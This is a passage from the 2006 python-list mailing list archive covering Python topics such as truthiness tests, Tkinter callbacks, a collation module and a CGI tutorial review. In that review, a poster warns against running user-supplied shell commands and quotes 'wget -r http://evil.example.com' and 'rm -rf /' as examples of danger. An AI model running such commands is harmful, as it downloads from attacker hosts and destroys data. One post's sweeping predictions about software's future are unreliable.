One of these references points to a dict (named __dict__) storing the
object's own attributes ('instance' attributes), and another one (named
__class__) points to the class object - which is itself an object that
holds references to it's parent classes.

When a name is looked up on an object, the name is first looked up in
the object's __dict__, then in the class, then in the class's parent
classes...

If you want a Ruby-like behaviour, it's still possible, but you have to
do it by manually:

import types

class Rubysh(object):
    @classmethod
    def test(cls):
        print "in classmethod test, cls : %s" % cls

    def __init__(self):
        def test(self):
            print "in instance method test, self : %s" % self
        self.test = types.MethodType(test, self, self.__class__)

Rubysh.test()
r = Rubysh()
r.test()

Also note that most python programmers may find this a bit confusing,
since they'd expect Rubish.test() and r.test() to resolve to the same
attribute...

> 
> if i do the same in ruby:

You're not "doing the same", you're doing something that *looks* the same.

While they look quite similar at first sight - and indeed share a lot of
characteristics (lightweight, highly dynamic, hi-level object languages)
-, Python and Ruby are very different beasts under the hood. So beware :
superficial similarities can hide very different meanings and behaviours.

HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From jeff_barish at earthlink.net  Mon Oct 30 22:25:56 2006
From: jeff_barish at earthlink.net (Jeffrey Barish)
Date: Mon, 30 Oct 2006 20:25:56 -0700
Subject: Adding a comment to an image using PIL
Message-ID: <ei6fo4$f60$1@sea.gmane.org>

I am trying to use PIL to add a comment to an image.  I have never used PIL
before, but I discovered that it is possible to print an existing comment
with the following:

im = PIL.Image.open('filename.jpg')
print im.app['COM']

I figured that I could write a comment by reversing this procedure:

im.app['COM'] = 'New comment'
im.save('newfilename.jpg')

However, when I open newfilename.jpg, I find that key 'COM' does not
exist -- the comment is not being written.  Presumably, I am doing
something wrong.
-- 
Jeffrey Barish



From apardon at forel.vub.ac.be  Fri Oct 27 05:16:57 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 09:16:57 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
	<pan.2006.10.26.14.51.45.732212@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnek3jk9.aqe.apardon@rcpc42.vub.ac.be>

On 2006-10-26, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Wed, 25 Oct 2006 19:19:59 +0000, John Salerno wrote:
>
>> Oh!!! I get it now! I was thinking that
>> 
>> if s
>> 
>> was the same as
>> 
>> if s == True
>
> No. But you know that now :)
>
>> because I know sometimes you can write if statements this way (though 
>> it's wordy). 
>
> You can, but shouldn't.
>
>
>> But what I didn't realize was that in the cases I was 
>> thinking of, 's' was an expression that evaluated to a boolean value, 
>> not an actual value of some other type!
>> 
>> So I suppose
>> 
>> if (10 > 5)
>
> Is the same as:
>
> if True
>
> because (10 > 5) evaluates as True.
>
>  
>> would be the same as
>> 
>> if (10 > 5) == True
>
> Did you mean
>
> if (10 > 5) == True == True
>
> or 
>
> if (10 > 5) == True == True == True
>
> or even 
>
> if (10 > 5) == True == True == True == True
>
> I hope you see my point now.
>
>
>> because (10 > 5) does evaluate to "True".
>
> I think it is a good time to remind people of some extremely well-thought
> out opposition to the introduction of bools to Python from Laura Creighton:
>
> http://mail.python.org/pipermail/python-list/2002-April/095878.html
>
> She lost the debate, Guido had the final word and Python now has bools.
> Take particular note of her description of Python distinguishing between
> Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc).

Yes and IMO that is a less usefull distinction than the distinction
between True and False. When I write code I think in terms of
conditions. In those conditions this has to be treated this way
otherwise it has to be treated an other way. Conditions give
results that are either True or False, not Something or Nothing.
I don't think of 10 > 5 as Something while 5 < 10 would be
Nothing. So while the paradigma of the language may be the
distinction of Something vs Nothing the programmer will often
enough think in terms of True and False. So IMO it would have
been better if python had made the distinction between True and
False and so made the programmer code the Something/Nothing
disctinction explicitly.

-- 
Antoon Pardon


From mail at microcorp.co.za  Wed Oct 25 02:35:22 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 25 Oct 2006 08:35:22 +0200
Subject: Tkinter question
References: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com><mailman.1043.1161671757.11739.python-list@python.org><op.thwzz6lqrqur0o@eb.pragmadev>
	<ehkl6g$un1$1@sea.gmane.org>
Message-ID: <027001c6f805$fdd8b300$03000080@hendrik>

 "Fredrik Lundh" <fredrik at pythonware.com> wrote:


> Eric Brunel wrote:
>
> > But Hendrik's solution is better, since it avoids the use of lambda, which
> > is often difficult to understand.
>
> storing the button reference in a variable doesn't help if you want to use the
> same callback for multiple buttons, though...
>
> </F>

I can't see how to use it for that - on the other hand, it enables you to use
the same button for different things at different times by re configuring the
command binding...

This can be used as a sort of "state machine" to keep track of what the user is
doing - changing button text, colour and command binding from "On", "green" and
onOn to "Off", "red" and onOff...

In my current project this style has developed to a point where onOn would
change the colour,etc, as well as setting up a deferred callback to onOnTimeout,
and firing off a message to the hardware in the field. A response from the
successful completion is then used to call onOnEnd, which cancels the timed
callback.
onOnTimeout does emergency stuff because something did not work, as onOnEnd was
not called...

It is a bit more complex than the above - as there are intermediate "grey out"
states - but the above illustrates the principle simply.

It seems to work quite robustly, and I am also developing a Simple Distributed
Control Language - SDCL (tm) , to do the work on the small micros in the field,
tying everything together. - It was fun and almost indecently easy to write a
one pass "compiler" resolving forward references on the fly in Python - more of
an assembler, really -   and no trace of lexx or yacc or bison - just a few
lines of Python code - but I digress...

And yes I know what SDLC is... *WEG*

- Hendrik




From jweida at gmail.com  Tue Oct 17 13:53:05 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 10:53:05 -0700
Subject: external file closed
In-Reply-To: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
Message-ID: <1161107585.523458.252700@m73g2000cwd.googlegroups.com>

On Oct 17, 12:43 pm, "kilnhead" <bumt... at gmail.com> wrote:
> I am opening a file using os.start('myfile.pdf') from python. How can I
> know when the user has closed the file so I can delete it? Thanks.

I assume you mean os.startfile.  There is no way to do this directly.
os.startfile simply hands off the call to the OS and doesn't provide
anything to track anything after that.  Since you won't know what
program handled the file association, you couldn't watch for an
instance of that to start up and detect when it exits.  Even if you
could, it wouldn't be reliable as in the case of PDF's and Adobe
Acrobat Reader, the user could close the document, but not the
application, so your script would never delete the file in question.

If anyone can think of a way to do this, it would be interesting to see
how it's done.

--
Jerry



From fredrik at pythonware.com  Tue Oct 10 04:42:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 10:42:00 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com>
References: <12iln7en9ipit77@corp.supernews.com>	<452b5190$0$29833$9b622d9e@news.freenet.de>	<463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>	<egfl44$d53$1@sea.gmane.org>
	<463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com>
Message-ID: <egfmcp$hcf$2@sea.gmane.org>

Theerasak Photha wrote:

> Practically speaking, at the heart of the matter: as of Python 2.5
> final, does or can raw_input() return Unicode under the appropriate
> circumstances, according to user wishes?

didn't Martin just answer that question?

</F>



From pavlovevidence at gmail.com  Sun Oct 29 02:31:23 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 29 Oct 2006 00:31:23 -0700
Subject: question about True values
In-Reply-To: <pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>
References: <1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<1162031090.711952.228280@m7g2000cwm.googlegroups.com>
	<pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>
Message-ID: <1162107083.907729.127120@f16g2000cwb.googlegroups.com>

Steven D'Aprano wrote:
> Carl Banks:
> > Overall, your objections don't really apply, since you're arguing what
> > ought to be whereas my argument is pragmatic.  Practically speaking, in
> > realistic situations, "if len(a)>0" will work for a wider range of types
> > than "if a:".
>
> Well, that's a quantitative claim you're making there. Have you
> actually gone through, say, the built in types and checked how many
> have a length versus how many work in a truth-context?

No, and it's irrelevant to my argument.

For some reason, people seem to think it's absolutely wonderful that
you can write "if X:" somewhere, and that this "works" whether X is a
list or an int or any other object, as if "working" for both ints and
lists was actually useful.

Well, it's not.

You see, presumably you have to do something with X.  And in realistic
code, there's not a lot of stuff you can do with that works for both
container types like lists and dict, and atomic types like ints and
floats.  All you could do is call generic object protocol stuff like
id() or str().  There's some odd operations that can work for both a
container and an atomic (addition); even so, it's rare that a given
piece of code would actually be useful for both containers and atomics.
 (I mean, you could pass lists into a function such as the following,
but would it be useful?)

def binomial3(a,b,c,d):
    return a + 3*b + 3*c + d

What I'm saying is, the fact that "if X:" "works" for almost any type
is big ol' red herring.  The only thing that really matters is if it
works for types that _actually have some realistic overlapping uses_.

So let's do your little exercise keeping that in mind.  Let's look at
realistic uses of containers.  Suppose we have a function such as this:

def f(X):
    if not X:
        return
    do_some_indexing(X[2],X[4])

We see that we subscript X.  Now, you can't subscript an int, so if
we're going to count number of types that support "if a:" versus the
number that support "if len(a)>0", we're not going to consider ints.
When deciding whether we should go with "if a:" or "if len(a)>0", we
should only count types that support indexing.

Objects that support indexing and work with "if a:":
lists,tuples,dicts,strings,xrange,collections.deque,array.array

Objects that support indexing and work with "if len(a)>0":
lists,tuples,dicts,strings,xrange,collections.deque,array.array ...
numpy arrays

Another thing containers do a lot is iteration.

Objects that support iteration and work with "if a:"
lists,tuples,dicts,sets,strings,xrange,collections.deque,array.array

Objects that support iteration and work with "if len(a)>0:"
lists,tuples,dicts,sets,strings,xrange,collections.deque,array.array
... numpy arrays

What can we conclude?  If you're indexing or iterating, "if a:" and "if
len(a)>0:" are equally successful for built-in types, but "if
len(a)>0:" also works for numpy arrays.  If your only measure of
success is how many classes the emptiness tests works for, then "if
len(a)>0:" wins.  This is just an example; we haven't looked at all
possible uses of containers.  There will be a few cases where "if a:"
works but "if len(a)>0:" doesn't.  But it should be pretty clear where
this is headed.

So the question is:  Do you want use "if len(a)>0:", so that in a lot
of cases your code can also work if someone wants to use a popular
third party package?  Or do you want to use "if a:", so that in rare
cases your code could also work with some builtin atomic types?


Carl Banks



From fredrik at pythonware.com  Thu Oct 19 02:49:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:49:29 +0200
Subject: Getting method name from within the class method
In-Reply-To: <eh7677$saf$1@sea.gmane.org>
References: <mailman.716.1161205201.11739.python-list@python.org>	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>	<20061018145926.0e8d3277@opal.pathscale.com>	<mailman.723.1161209498.11739.python-list@python.org>	<1161210607.901928.26430@e3g2000cwe.googlegroups.com>	<7.0.1.0.0.20061018200044.03588168@yahoo.com.ar>
	<eh7677$saf$1@sea.gmane.org>
Message-ID: <eh775u$ufm$1@sea.gmane.org>

> on that

on what

</F>



From paddy3118 at netscape.net  Fri Oct 13 22:40:54 2006
From: paddy3118 at netscape.net (Paddy)
Date: 13 Oct 2006 19:40:54 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<1160629438.895503.225980@c28g2000cwb.googlegroups.com>
Message-ID: <1160793654.283357.282450@b28g2000cwb.googlegroups.com>

werty wrote:
> Apples/oranges ?   programmers are making very little $$ today .
>    Thats software !   No one is makin money on obsolete Forth ,
> so why a comparisom ?
>
>   Ultimately the best OpSys will be free and  millions of lines of code
>  obsoleted .  Because no one can protect intellectual property , its
> simply too costly for a Government to do this .
>
>   Notice the crypto fiasco , the USA govt forbad export of SSL and
> in short order Australia gave the world a free SSLeasy !
>
>    This is software .  No one will , for long , own software .
>  Microsoft and Linux will die in 24 months .   No hardware will
> produce money/profits using them .
>
>   Because we have a new hardware competitor , that obsoletes the BIOS
>  chip , North bridge/South bridge USB helpers , NICs .
>   No mo PNP (Plug_and_Pray) .
>   In 2 chips ( CPU /SoC and LCD controller) it will be faster than
>  a PC .  100's have allready written HDD drivers and haven't yet
>  free'd them .  But when others give free , what good do it to
>  hold yours !    You look stupid selling what others improve and
> free .   Trying to sell what others find easy to create !
>   Intel made hardware too hard to program , ARM is easy .
>   Python wont last on ARM , for WCE and Linux will be tossed .
>   A simpler structured method will be used to customise
>   Browsers . There will be 2 columns , one on left will be main/orig
> but on the Right will have hyperlink result .  This way ya dont have
>  to go back to compare !   side by side .
>   Text editors will also work this way . You will read orig in left
> columns
>  and 'edit'/annotate  your stuff to the Right columns .
>
>   Sun microsystems et all ( the ones we seldom think about ) will
>  all be obsoleted , bankrupted , their hardware surplused .
>   No more h/w servers .
>  There will be no high speed 64 bit boxes in the future .
>   The Pocket PC will do work you could not  imagine !
>   All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N
>   and no WERTY  keyboard !  full GUI ...
>   ethernet and firewire and rs232 will die
>
>   Why not "see" the future ?
>  No Linux ,no WXP , no C+ , no PC .....

Hah! This is the output from a program and I claim my prize.
:-)



From rrr at ronadam.com  Wed Oct 18 02:42:45 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 01:42:45 -0500
Subject: Flexable Collating (feedback please)
Message-ID: <35kZg.6681$fl.2685@dukeread08>



I put together the following module today and would like some feedback on any 
obvious problems.  Or even opinions of weather or not it is a good approach.

While collating is not a difficult thing to do for experienced programmers, I 
have seen quite a lot of poorly sorted lists in commercial applications, so it 
seems it would be good to have an easy to use ready made API for collating.

I tried to make this both easy to use and flexible.  My first thoughts was to 
try and target actual uses such as Phone directory sorting, or Library sorting, 
etc., but it seemed using keywords to alter the behavior is both easier and more 
flexible.

I think the regular expressions I used to parse leading and trailing numerals 
could be improved. They work, but you will probably get inconsistent results if 
the strings are not well formed.  Any suggestions on this would be appreciated.

Should I try to extend it to cover dates and currency sorting?  Probably those 
types should be converted before sorting, but maybe sometimes it's useful
not to?

Another variation is collating dewy decimal strings.  It should be easy to add 
if someone thinks that might be useful.

I haven't tested this in *anything* yet, so don't plug it into production code 
of any type.  I also haven't done any performance testing.

See the doc tests below for examples of how it's used.

Cheers,
    Ron Adam



"""
     Collate.py

     A general purpose configurable collate module.

     Collation can be modified with the following keywords:

         CAPS_FIRST              -> Aaa, aaa, Bbb, bbb
         HYPHEN_AS_SPACE         -> Don't ignore hyphens
         UNDERSCORE_AS_SPACE     -> Underscores as white space
         IGNORE_LEADING_WS       -> Disregard leading white space
         NUMERICAL               -> Digit sequences as numerals
         COMMA_IN_NUMERALS       -> Allow commas in numerals

     * See doctests for examples.

     Author: Ron Adam, ron at ronadam.com, 10/18/2006

"""
import re
import locale


locale.setlocale(locale.LC_ALL, '')  # use current locale settings

#  The above line may change the string constants from the string
#  module.  This may have unintended effects if your program
#  assumes they are always the ascii defaults.


CAPS_FIRST = 1
NUMERICAL = 2
HYPHEN_AS_SPACE = 4
UNDERSCORE_AS_SPACE = 8
IGNORE_LEADING_WS = 16
COMMA_IN_NUMERALS = 32

class Collate(object):
     """ A general purpose and configurable collator class.
     """
     def __init__(self, flag):
         self.flag = flag
     def transform(self, s):
         """ Transform a string for collating.
         """
         if self.flag & CAPS_FIRST:
             s = s.swapcase()
         if self.flag & HYPHEN_AS_SPACE:
             s = s.replace('-', ' ')
         if self.flag & UNDERSCORE_AS_SPACE:
             s = s.replace('_', ' ')
         if self.flag & IGNORE_LEADING_WS:
             s = s.strip()
         if self.flag & NUMERICAL:
             if self.flag & COMMA_IN_NUMERALS:
                 rex = re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)', 
re.LOCALE)
             else:
                 rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', re.LOCALE)
             slist = rex.split(s)
             for i, x in enumerate(slist):
                 if self.flag & COMMA_IN_NUMERALS:
                     x = x.replace(',', '')
                 try:
                     slist[i] = float(x)
                 except:
                     slist[i] = locale.strxfrm(x)
             return slist
         return locale.strxfrm(s)

     def __call__(self, a, b):
         """ This allows the Collate class work as a sort key.

                 USE: list.sort(key=Collate(flags))
         """
         return cmp(self.transform(a), self.transform(b))

def collate(slist, flags=0):
     """ Collate list of strings in place.
     """
     return slist.sort(Collate(flags))

def collated(slist, flags=0):
     """ Return a collated list of strings.

         This is a decorate-undecorate collate.
     """
     collator = Collate(flags)
     dd = [(collator.transform(x), x) for x in slist]
     dd.sort()
     return list([B for (A, B) in dd])

def _test():
     """
     DOC TESTS AND EXAMPLES:

     Sort (and sorted) normally order all words beginning with caps
     before all words beginning with lower case.

         >>> t = ['tuesday', 'Tuesday', 'Monday', 'monday']
         >>> sorted(t)     # regular sort
         ['Monday', 'Tuesday', 'monday', 'tuesday']

     Locale collation puts words beginning with caps after words
     beginning with lower case of the same letter.

         >>> collated(t)
         ['monday', 'Monday', 'tuesday', 'Tuesday']

     The CAPS_FIRST option can be used to put all words beginning
     with caps after words beginning in lowercase of the same letter.

         >>> collated(t, CAPS_FIRST)
         ['Monday', 'monday', 'Tuesday', 'tuesday']


     The HYPHEN_AS_SPACE option causes hyphens to be equal to space.

         >>> t = ['a-b', 'b-a', 'aa-b', 'bb-a']
         >>> collated(t)
         ['aa-b', 'a-b', 'b-a', 'bb-a']

         >>> collated(t, HYPHEN_AS_SPACE)
         ['a-b', 'aa-b', 'b-a', 'bb-a']


     The IGNORE_LEADING_WS and UNDERSCORE_AS_SPACE options can be
     used together to improve ordering in some situations.

         >>> t = ['sum', '__str__', 'about', '  round']
         >>> collated(t)
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, IGNORE_LEADING_WS)
         ['__str__', 'about', '  round', 'sum']

         >>> collated(t, UNDERSCORE_AS_SPACE)
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, IGNORE_LEADING_WS|UNDERSCORE_AS_SPACE)
         ['about', '  round', '__str__', 'sum']


     The NUMERICAL option orders leading and trailing digits as numerals.

         >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
         >>> collated(t, NUMERICAL)
         ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']


     The COMMA_IN_NUMERALS option ignores commas instead of using them to
     seperate numerals.

         >>> t = ['a5', 'a4,000', '500b', '100,000b']
         >>> collated(t, NUMERICAL|COMMA_IN_NUMERALS)
         ['500b', '100,000b', 'a5', 'a4,000']


     Collating also can be done in place using collate() instead of collated().

         >>> t = ['Fred', 'Ron', 'Carol', 'Bob']
         >>> collate(t)
         >>> t
         ['Bob', 'Carol', 'Fred', 'Ron']

     """
     import doctest
     doctest.testmod()


if __name__ == '__main__':
     _test()



From g.brandl-nospam at gmx.net  Mon Oct 23 17:00:06 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 23 Oct 2006 23:00:06 +0200
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <mailman.997.1161629341.11739.python-list@python.org>
References: <mailman.813.1161325547.11739.python-list@python.org>	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
Message-ID: <ehjah5$bfm$1@news.albasani.net>

Michael Spencer wrote:
> Georg Brandl wrote:
>> Michael Spencer wrote:
>>> Announcing: compiler2
>>> ---------------------
>>>
>>> For all you bytecode enthusiasts:  'compiler2' is an alternative to the standard 
>>> library 'compiler' package, with several advantages.
>> 
>> Is this a rewrite from scratch, or an improved stdlib compiler package?
>> 
>> In the latter case, maybe you can contribute some patches to the core.
>> 
>> Georg
> 
> Georg
> 
> It started as the latter (i.e., the stdlib compiler package improved) and 
> proceeded via incremental change with the twin goals of generating correct 
> object code and creating a clean compiler architecture (the latter somewhat 
> subjective of course).  I'd be happy in principle to contribute the work, but 
> the sum of the changes amounts to a substantial re-write, so I don't think it 
> can be meaningfully submitted as a patch.

Perhaps you can bring up a discussion on python-dev about your improvements
and how they could be integrated into the standard library...

Georg


From steve at REMOVE.THIS.cybersource.com.au  Mon Oct 23 08:53:06 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Mon, 23 Oct 2006 22:53:06 +1000
Subject: Customize the effect of enumerate()?
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
	<1161557776.637735.92650@k70g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.23.12.53.03.968172@REMOVE.THIS.cybersource.com.au>

On Sun, 22 Oct 2006 15:56:16 -0700, Simon Forman wrote:

> Dustan wrote:
>> Can I make enumerate(myObject) act differently?
>>
>> class A(object):
>> 	def __getitem__(self, item):
>> 		if item > 0:
>> 	            return self.sequence[item-1]
>> 	        elif item < 0:
>> 	            return self.sequence[item]
>> 	        elif item == 0:
>> 	            raise IndexError, "Index 0 is not valid."
>> 	        else:
>> 	            raise IndexError, "Invalid Index."
>> 	def __iter__(self): return iter(self.sequence)
> 
> That final else clause is a little funny...    What kind of indices are
> you expecting that will be neither less than zero, greater than zero,
> or equal to zero?

Possible a NaN value? Maybe a class instance with strange comparison
methods?

Personally, I don't like the error message. "Invalid index" doesn't really
tell the caller what went wrong and why it is an invalid index. If I were
programming that defensively, I'd write:

if item > 0:
    return self.sequence[item-1]
elif item < 0:
    return self.sequence[item]
elif item == 0:
    raise IndexError, "Index 0 is not valid."
else:
    print repr(item)
    raise ThisCanNeverHappenError("Congratulations! You've discovered "
    "a bug that can't possibly occur. Contact the program author for "
    "your reward.")

I know some programmers hate "Can't happen" tests and error messages, but
if you are going to test for events that can't possibly happen, at least
deal with the impossible explicitly!


-- 
Steven.



From bj_666 at gmx.net  Fri Oct 27 12:28:48 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Fri, 27 Oct 2006 18:28:48 +0200
Subject: importing class
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.27.16.28.47.580241@gmx.net>

In <1161966120.828597.57280 at b28g2000cwb.googlegroups.com>, gmarkowsky
wrote:

> Hi all,
> 
> I'm trying to import a class from a module. The class looks like this:
> class App:
> 
>     def __init__(self, master):
> 
>         frame = Frame(master)
>         frame.pack()
> 
>         self.button = Button(frame, text=text_1, command= self.comm_1)
>         self.button.pack(side=LEFT)
> 
>         self.hi_there = Button(frame, text=text_2, command=self.comm_2)
>         self.hi_there.pack(side=LEFT)
> 
>     def comm_1(self):
>         command1()
>         root.quit()
> 
>     def comm_2(self):
>         command2()
>         root.quit()
> 
> It's supposed to just make a Tkinter window with two choices. The
> problem is that when I import it from a module, I get the following
> error:
> 
> NameError: global name 'Frame' is not defined
> 
> But when I copy and paste it into the file, it works. Can anyone tell
> me what's wrong?

Yes, the global name `Frame` is not defined.  `Frame` is a name in the
`Tkinter` module and you have to import it to reference it.  Add the
following import statement to your file:

from Tkinter import Frame, Button

You use `Button` too and this also lives in the `Tkinter` module.

Ciao,
	Marc 'BlackJack' Rintsch


From scott.daniels at acm.org  Fri Oct 13 12:38:24 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Fri, 13 Oct 2006 09:38:24 -0700
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <452cd0df$0$11417$426a74cc@news.free.fr>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>	<egic47$irg$1@sea.gmane.org>
	<mailman.296.1160558036.11739.python-list@python.org>
	<452cd0df$0$11417$426a74cc@news.free.fr>
Message-ID: <452fb8cf$1@nntp0.pdx.net>

Bruno Desthuilliers wrote:
> ... idempotent -> no side effects.

Nope.  idempotent: f(f(x)) = f(x)
That is, after doing it once, repeating it won't hurt.

--Scott David Daniels
scott.daniels at acm.org


From johnjsal at NOSPAMgmail.com  Wed Oct 11 10:28:31 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 11 Oct 2006 14:28:31 GMT
Subject: How to write Smart Python programs?
In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
Message-ID: <jc7Xg.99$1n3.2455@news.tufts.edu>

Bruno Desthuilliers wrote:

> Googling for "python is not java" may be a good start.

I have a question about this section of a blog with that title. I'll ask 
the question first so it doesn't get lost at the bottom: does the 
following opinion of XML apply to GUIs? (i.e., using an XML resource to 
define a GUI layout rather than coding it yourself).

Thanks.

----------------------------------------------

XML is not the answer. It is not even the question. To paraphrase Jamie 
Zawinski on regular expressions, "Some people, when confronted with a 
problem, think "I know, I'll use XML." Now they have two problems."

This is a different situation than in Java, because compared to Java 
code, XML is agile and flexible. Compared to Python code, XML is a boat 
anchor, a ball and chain. In Python, XML is something you use for 
interoperability, not your core functionality, because you simply don't 
need it for that. In Java, XML can be your savior because it lets you 
implement domain-specific languages and increase the flexibility of your 
application "without coding". In Java, avoiding coding is an advantage 
because coding means recompiling. But in Python, more often than not, 
code is easier to write than XML. And Python can process code much, much 
faster than your code can process XML. (Not only that, but you have to 
write the XML processing code, whereas Python itself is already written 
for you.)

If you are a Java programmer, do not trust your instincts regarding 
whether you should use XML as part of your core application in Python. 
If you're not implementing an existing XML standard for interoperability 
reasons, creating some kind of import/export format, or creating some 
kind of XML editor or processing tool, then Just Don't Do It. At all. 
Ever. Not even just this once. Don't even think about it. Drop that 
schema and put your hands in the air, now! If your application or 
platform will be used by Python developers, they will only thank you for 
not adding the burden of using XML to their workload.

(The only exception to this is if your target audience really really 
needs XML for some strange reason. Like, they refuse to learn Python and 
will only pay you if you use XML, or if you plan to give them a nice GUI 
for editing the XML, and the GUI in question is something that somebody 
else wrote for editing XML and you get to use it for free. There are 
also other, very rare, architectural reasons to need XML. Trust me, they 
don't apply to your app. If in doubt, explain your use case for XML to 
an experienced Python developer. Or, if you have a thick skin and don't 
mind being laughed at, try explaining to a Lisp programmer why your 
application needs XML!)


From deets at nospam.web.de  Fri Oct 13 04:58:46 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 10:58:46 +0200
Subject: Click and Drag Functionality in Web Apps with Python
In-Reply-To: <mailman.374.1160660171.11739.python-list@python.org>
References: <mailman.374.1160660171.11739.python-list@python.org>
Message-ID: <4p92q4Fh1pc9U1@uni-berlin.de>

Wijaya Edward schrieb:
> Hi,
>  
> Some recent webapps like Kiko <http://www.kiko.com/> , Google's gadget <http://www.google.com/ig/directory?hl=en> , and spreadsheets <http://spreadsheets.google.com>  to name a few, 
> have this functionality. 
> 
> I wonder how can this funcitonalities be implemented in Python. 
> Do you guys have any experience with it?
> Any Python module that support that?

There is mochikit, a javascript library that makes coding in javascript 
suck less.

And there is the pypy javascript backend.

But "real" python - no.

diez


From python.list at tim.thechases.com  Wed Oct  4 16:24:18 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 04 Oct 2006 15:24:18 -0500
Subject: CGI Tutorial
In-Reply-To: <1159990808.443737.85880@i3g2000cwc.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1159990808.443737.85880@i3g2000cwc.googlegroups.com>
Message-ID: <45241872.2020008@tim.thechases.com>

>> I'm just building a Python CGI Tutorial and would appreciate any
>> feedback from the many experts in this list.
> 
> http://webpython.codepoint.net


Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run 
arbitrary code on your server.  At the barest of minimums, I'd 
plaster the code with warnings that this is a Very Dangerous 
Thing(tm) to do.  Preferably, one would want to have fixed sets 
of commands, something like

install_django = 'curl...'
if command=='install_django': sub.Popen(install_django, ...)

so that only trusted code is run, not arbitrary things like

'wget -r http://evil.example.com'

or

'rm -rf /'

which would just be bad.

Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially 
sensitive information (passwords, internal file-structure, etc), 
and thus should only be used while debugging, and turned off in 
any sort of production code.

The section on single vs. multiple field names was pretty good at 
giving a nice overview that there are *two* scenarios one might 
encounter.

Just a little feedback, whether from an expert or otherwise. :)

-tkc




From paul at boddie.org.uk  Fri Oct  6 18:04:27 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 6 Oct 2006 15:04:27 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
Message-ID: <1160172267.566568.79030@m7g2000cwm.googlegroups.com>

Terry Reedy wrote:
>
> When SF is down, people sometimes send tracker items to
> the pydev list instead, when means someone else (who?) has to put in the
> tracker or it gets lost.

According to Harald Armin Massa's PostgreSQL talk at EuroPython, the
PostgreSQL people manage all their bugs via mailing lists. Given that
trends in revision control point towards completely decentralised
